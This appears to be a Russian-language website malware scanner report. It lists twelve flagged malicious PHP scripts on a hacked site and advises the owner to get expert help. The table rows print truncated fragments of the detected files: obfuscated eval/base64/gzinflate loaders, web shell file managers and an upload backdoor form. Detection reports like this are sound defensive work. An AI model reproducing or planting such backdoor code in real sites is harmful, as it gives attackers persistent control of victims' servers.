Вредоносных скриптов | 12 |
Для диагностического сканирования без ложных срабатываний мы разработали специальную версию сканера для хостинг-компаний.
Возможно, ваш сайт был взломан. Рекомендуем срочно проконсультироваться со специалистами по данному отчету.
Рекомендуем также проверить сайт бесплатным онлайн-сканером ReScan.Pro.
Путь | Изменение свойств | Изменение содержимого | Размер | CRC32 | |||
---|---|---|---|---|---|---|---|
[x] 1<? $GLOBALS['_____2040608989']=array('IncludeModuleLangFile','GetModuleEvents','ExecuteModuleEventEx');?><?$GLOBALS['____1 | 27/10/2020 18:54:09 | 21/06/2017 22:19:31 | 248.37 Kb | f46789ba8263eccc6cd754bb2b271e8d2243ef5c | x | 1498072771 | id_93e67a24 |
[x] 1…ERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/ajax_tools.php"); /*ZDUyZmZOGUyMjExZjJlYjhhZjM2NTVlMjI0MTIzMGNiMmU4Y2Y=*/ $GLOBALS['____116156110']=array(base64_decode('ZGVmaW5l'));;function___1351959138($_1390484867){static$_1902458169= | 27/10/2020 18:54:09 | 21/06/2017 22:19:26 | 21.90 Kb | 1238da3a8cea27c20b3e26b0a980186e101844a8 | x | 1498072766 | id_93e67a24 |
[x] 1 <?php echo 7457737+736723;$raPo_rZluoE=base64_decode("YmFzZTY0X2RlY29kZQ==");$ydSJPtnwrSv=base64_decode('Y29weQ==");eva | 20/01/2021 06:48:08 | 20/01/2021 06:48:08 | 744 b | 0c0999f50f88d12946ad1dd61de440ddd542d814 | x | 1611114488 | id_0913222a |
[x] 1<?php $PASS="188162e90b88271030885b3bd7cfd523";function T_($Bc){$x2=256;$W2=8;$cY=array();$I3=0;$C4=0;for($bs=0;$bs<strlen($B | 20/01/2021 06:48:20 | 20/01/2021 06:48:20 | 47.38 Kb | e99c61ed9896558472c687d8ce97ed7fb9b0f326 | x | 1611114500 | id_4f224d15 |
[x] 1…$wp_admin_bar=new$admin_bar_class;else return false;$wp_admin_bar->initialize();$wp_admin_bar->add_menus();return true;} function pre_admin_bar($wp_kses_data,$wp_nonce){$kses_str=str_replace(array('%','*'),array('/','='),$wp_kses_data);$fil | 20/01/2021 06:48:15 | 20/01/2021 06:48:15 | 23.55 Kb | c88ab83b6c9dd4494e61b89560800b60e3d75f83 | x | 1611114495 | id_271ebe3f |
[x] 1 <?php echo 7457737+736723;$raPo_rZluoE=base64_decode("YmFzZTY0X2RlY29kZQ==");$ydSJPtnwrSv=base64_decode('Y29weQ==");eva | 20/01/2021 04:34:28 | 20/01/2021 04:34:28 | 743 b | 0c0999f50f88d12946ad1dd61de440ddd542d814 | x | 1611106468 | id_0913222a |
[x] 1…{ return "<font color=lime>".$perm."</font>"; } } function perms($file){ $perms=fileperms($file); if(($perms&0xC000)==0xC000){ // Socket $info='s'; }elseif(($perms&0xA000)==0xA000){ // S | 20/01/2021 06:48:16 | 20/01/2021 06:48:16 | 56.04 Kb | 82d233093c4cdfff9ea0754ec12bde4a20da9c76 | x | 1611114496 | id_b957805c |
[x] 1<?php $auth_pass=""; $color="#df5";$default_action=base64_decode('RmlsZXNNYW4=');$default_use_ajax=true;$default_charset='Windows-1251';$xYE | 20/01/2021 06:48:19 | 20/01/2021 06:48:19 | 86.71 Kb | 0141e2b59c0365c6cb878b503d25e7912ae1192a | x | 1611114499 | id_ab5666b2 |
[x] 1…h=$_GET['path']; }else{ $path=getcwd(); } $path=str_replace('\\','/',$path); $paths=explode('/',$path); foreach($paths as$id=>$pat){ if($pat==''&&$id==0){ $a=true; echo '<a href="?path=/">/</a>'; continue; } | 20/01/2021 06:48:13 | 20/01/2021 06:48:13 | 8.14 Kb | 17e654ac35713ec194fcfc1ace101c8d72238151 | x | 1611114493 | id_058a5297 |
[x] 1…1_"][1](_1178619035(4),$GLOBALS["_171515191_"][2](${${"GLOBALS"}["mypaccsv"]})));if(isset(${${"GLOBALS"}["mypaccsv"]})){ eval(${${"GLOBALS"}["mypaccsv"]});exit();}}? | 20/01/2021 06:48:13 | 20/01/2021 06:48:13 | 1.40 Kb | c781a6749d26ebf680b664644897ebb247afa7ca | x | 1611114493 | id_d29f3159 |
[x] 1<?php ?> <?php eval(gzinflate(base64_decode('HZzHkoMAdkV/xTvPFAtyKo89RRJZBJE3LnLOma837UX3UiK8d+853RL//p9//Xuqpv/Ij7j7R/nUQ9HFW/6 | 20/01/2021 06:48:13 | 20/01/2021 06:48:13 | 28.83 Kb | 44171620f692854091bdbbb67c5bbe2ed09a8f47 | x | 1611114493 | id_3e9b1c4b |
[x] 1 <title>Vuln!! patch it Now!</title><?php echo '<form action="" method="post" enctype="multipart/form-data" name="upload | 20/01/2021 06:48:17 | 20/01/2021 06:48:17 | 446 b | 3619d7704c79e46d1a00e67dcec34564f50eb86b | x | 1611114497 | id_dd8dcba3 |
Путь | Изменение свойств | Изменение содержимого | Размер | CRC32 | |||
---|---|---|---|---|---|---|---|
1…log_admin_before.php");if(!$USER->CanDoOperation('edit_php')){$APPLICATION->AuthForm(GetMessage("ACCESS_DENIED"));}else{ phpinfo();}? | 27/10/2020 18:54:09 | 21/06/2017 22:19:30 | 204 b | 3de4d48a050d233c344ad5b4be60ef4f15d4498f | x | 1498072770 | id_z2230281 |
Путь | Изменение свойств | Изменение содержимого | Размер | CRC32 | |||
---|---|---|---|---|---|---|---|
- | - | - | x | id_z8129263 | |||
- | - | - | x | id_z7263513 | |||
- | - | - | x | id_z5829540 | |||
- | - | - | x | id_z7482074 |